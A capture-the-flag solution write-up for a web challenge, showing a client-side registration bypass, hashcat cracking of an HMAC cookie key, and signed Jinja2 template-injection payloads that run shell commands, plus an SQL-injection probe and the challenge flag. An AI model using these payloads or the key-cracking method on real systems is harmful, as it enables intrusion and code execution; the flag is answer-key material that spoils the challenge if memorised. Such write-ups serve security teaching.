Mise en Place — Solution

Category: WEB | Points: 500 | Author: Jerit3787

Overview

A CMS with registration disabled on the frontend (client-side only — the server still accepts POST). After gaining an account, players face multiple red herrings (file upload, search, restricted posts). The real vulnerability: the `session_prefs` cookie leaks an HMAC-SHA256 signature over known plaintext. Players crack the key using hashcat + rockyou, then sign a Jinja2 SSTI payload via the `redirect` login parameter for RCE.

Steps

1. Visit `/register` — registration appears closed (disabled button, "contact admin" message).
2. Bypass the client-side restriction by sending a direct `POST /register` with `username` and `password` form data.
3. Login at `/login` with the new account.
4. Explore the app — posts, search, profile with avatar upload, restricted posts. All dead ends (see Red Herrings below).
5. Inspect cookies — `session_prefs` (not httpOnly) has format `<hex_signature>.<json_value>`:

   ```
   e.g.: a1b2c3d4....<json>{"theme": "dark", "lang": "en", "notifications": true}</json>
   ```

6. Extract the known plaintext + signature pair for HMAC cracking:

   ```
   signature: a1b2c3d4e5f6... (64 hex chars)
   message:   {"theme": "dark", "lang": "en", "notifications": true}
   ```

7. Crack the HMAC-SHA256 key using hashcat:

   ```
   # Format for hashcat mode 1450: <hmac_hex>:<message>
   echo '<signature_hex>:{"theme": "dark", "lang": "en", "notifications": true}' > hash.txt
   hashcat -m 1450 hash.txt rockyou.txt
   ```

   Result: key is `lonestar` (rockyou.txt line 6707).

8. Notice the `/login` endpoint accepts a `redirect` query parameter. Test with a signed value — the server validates the HMAC and renders the content.
9. The flag is written at startup to a random directory (`/var/tmp/.cache/<random>/flag.txt`, mode 400) and is not in the process environment. First, use `find` to locate it:

   ```
   import hmac, hashlib
   key = "lonestar"
   payload = "{{ config.__class__.__init__.__globals__['os'].popen('find / -name flag.txt
       2>/dev/null').read() }}"
   sig = hmac.new(key.encode(), payload.encode(), hashlib.sha256).hexdigest()
   signed = f"{sig}.{payload}"
   ```

10. Submit via `POST /login?redirect=<url_encoded_signed>` with valid creds. The response reveals the flag path.
11. Sign a second payload to read it:

    ```
    payload = "{{ config.__class__.__init__.__globals__['os'].popen('cat
        /var/tmp/.cache/a8f3c21b/flag.txt').read() }}"
    sig = hmac.new(key.encode(), payload.encode(), hashlib.sha256).hexdigest()
    signed = f"{sig}.{payload}"
    ```

12. Submit again — the flag appears in the rendered response.

Red Herrings

- **Registration "closed"** — purely client-side. Button is disabled and message says "contact admin", but the server accepts POST anyway.
- **Avatar upload** — extensive validation (extension whitelist, MIME type check, magic bytes verification, UUID filename) makes file upload RCE impossible.
- **Search endpoint** — looks like SQLi (`/api/posts/search?q='OR 1=1--`) but uses in-memory Python list filtering with no database.
- **Restricted posts** — posts 5 and 6 are marked "restricted" with tantalizing titles ("Q3 Revenue Projections", "Production Credentials Rotation Log"). IDOR via `/api/posts/5` returns 403. Content is just "CONFIDENTIAL" placeholder text.

Flag

```
gctf26{l0n3st4r_w4s_1n_r0cky0u_th3_wh0l3_t1m3}
```